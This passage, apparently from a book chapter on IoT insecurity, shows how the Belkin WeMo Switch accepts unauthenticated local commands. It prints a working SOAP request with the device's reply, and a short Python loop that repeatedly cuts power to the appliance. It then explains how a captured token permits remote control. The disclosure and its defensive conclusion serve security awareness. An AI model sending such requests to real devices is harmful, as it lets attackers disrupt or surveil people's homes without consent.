Notice the remoteaccess1 service. It is invoked similarly to the example listed for WeMo Baby. However, we notice an extra service here called basicevent1. It turns out that if the user is on the same WiFi network as the Switch, it is possible to connect to this service and issue a command to toggle the Switch:
POST /upnp/control/basicevent1 HTTP/1.1
SOAPACTION: "urn:Belkin:service:basicevent:1#SetBinaryState"
Content-Length: 316
Content-Type: text/xml; charset="utf-8"
HOST: 10.0.1.8:49153
User-Agent: CyberGarage-HTTP/1.0
<?xml version="1.0" encoding="utf-8"?>
<s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/"
s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">
<s:Body>
<u:SetBinaryState xmlns:u="urn:Belkin:service:basicevent:1">
<BinaryState>0</BinaryState>
</u:SetBinaryState>
</s:Body>
</s:Envelope>
The BinaryState value is set to 0, which commands the Switch to toggle to the off position. The Switch responds:
HTTP/1.1 200 OK
CONTENT-LENGTH: 285
CONTENT-TYPE: text/xml; charset="utf-8"
DATE: Mon, 14 Oct 2013 10:58:26 GMT
EXT:
SERVER: Unspecified, UPnP/1.0, Unspecified
X-User-Agent: redsonic
<s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/"
s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body>
<u:SetBinaryStateResponse xmlns:u="urn:Belkin:service:basicevent:1">
<BinaryState>0</BinaryState>
</u:SetBinaryStateResponse>
</s:Body> </s:Envelope>
The HTTP OK response, along with the confirmation of the BinaryState value of 0, indicates that the Switch as able to successfully turn off power to the connected appliance.
Isaac Kelly has created a proof-of-concept toolkit in Python to test local access to the WeMo Switch. For demonstration purposes, a simple malware script with local access can wrap use this framework to perpetually turn the electronic device (plugged into the WeMo switch) off:
#!/usr/bin/python
import time
from wemo import on, off, get
while True:
off()
time.sleep(5)
For a video demonstration of this, see my YouTube video on the subject.
Notice that no authentication or authorization token was required! We now have a clear case in which similar thought processes in design were used to manufacture the WeMo baby monitor as well as the WeMo Switch. As in the case with the baby monitor, it is easy to see how malware authors can exploit the lack of security to quickly toggle the power of WeMo switches around the world, should their malware successfully compromise any desktop or laptop in a given home.
In addition to local access, the app can also enable remote access, so the Switch can be toggled from anywhere in the world. To do this, the app first sends a request to the remoteaccess1 service, similar to the case of the WeMo baby monitor. The app sends a custom string as the DeviceName when invoking remoteaccess1 on the local web server running on the switch. This value is echoed back to the app and stored by the Switch as the authorization token.
When the user is remote, these values are sent to https://api.xbcs.net:8443/apis/http/plugin/message, which is then relayed to the Switch. So, in essence, a potential piece of malware needs only one-time access to the local WiFi network, after which the malware author can capture these values and connect to the api.xbcs.net service directly and issue a command to toggle the Switch.
In the case of Microsoft, ethical security researchers, as well as criminals, discovered similarities in design across the product line to locate a vulnerability and to test if similar insecure design principles were used elsewhere. In the case of the WeMo product line, we can see how we have a similar situation. We’ve learned the hard way when it comes to software and we have an example of the same issue reoccurring in the world of IoT products.
Conclusion
Parents and guardians depend upon monitoring technology to protect the lives of their loved ones. We noted several cases with Foscam devices that demonstrate how unnerving it can be for a parent to realize that the monitoring device in the bedroom of their infant has been compromised by an external entity. Having to run into a baby’s room upon hearing a stranger’s voice is not an experience any parent would want to have. In addition to scary situations like these, monitoring devices can be abused by malicious entities to surreptitiously monitor conversations between adults remotely that can lead to the loss of privacy.
In the case of the WeMo devices, it is clear that design principles led to a situation in which the privacy of the monitoring device is at risk from anyone who might have one-time access to the local network. Combine this situation with the Foscam devices, and we can see how easy it is for anyone to find hundreds of thousands of expolitable IoT monitoring devices using a service like Shodan.
We’ve learned security the hard way when it comes to software and we are at risk of committing the same mistakes in IoT devices. We’ve learned not to trust other devices on the local network. We’ve learned to have secure processes built into the development lifecycle, so that bugs in code that lead to simple ways to bypass authentication don’t occur. Companies building devices such as baby monitors must make it a habit to build security in from the get-go, from designing secure use cases and architectures to making sure the source code is checked for vulnerabilities.
Monitoring devices, especially such as the ones discussed in this chapter, must allow for security patches to be applied seamlessly. Otherwise, we will only begin to add additional devices in the millions onto the Internet that will remain unpatched and exploitable. In the case of Foscam, the process to apply a critical security patch was so cumbersome that few parents actually took the effort to do so. Consumers of such devices should demand a smoother process by supporting manufacturers that implement software updates seamlessly.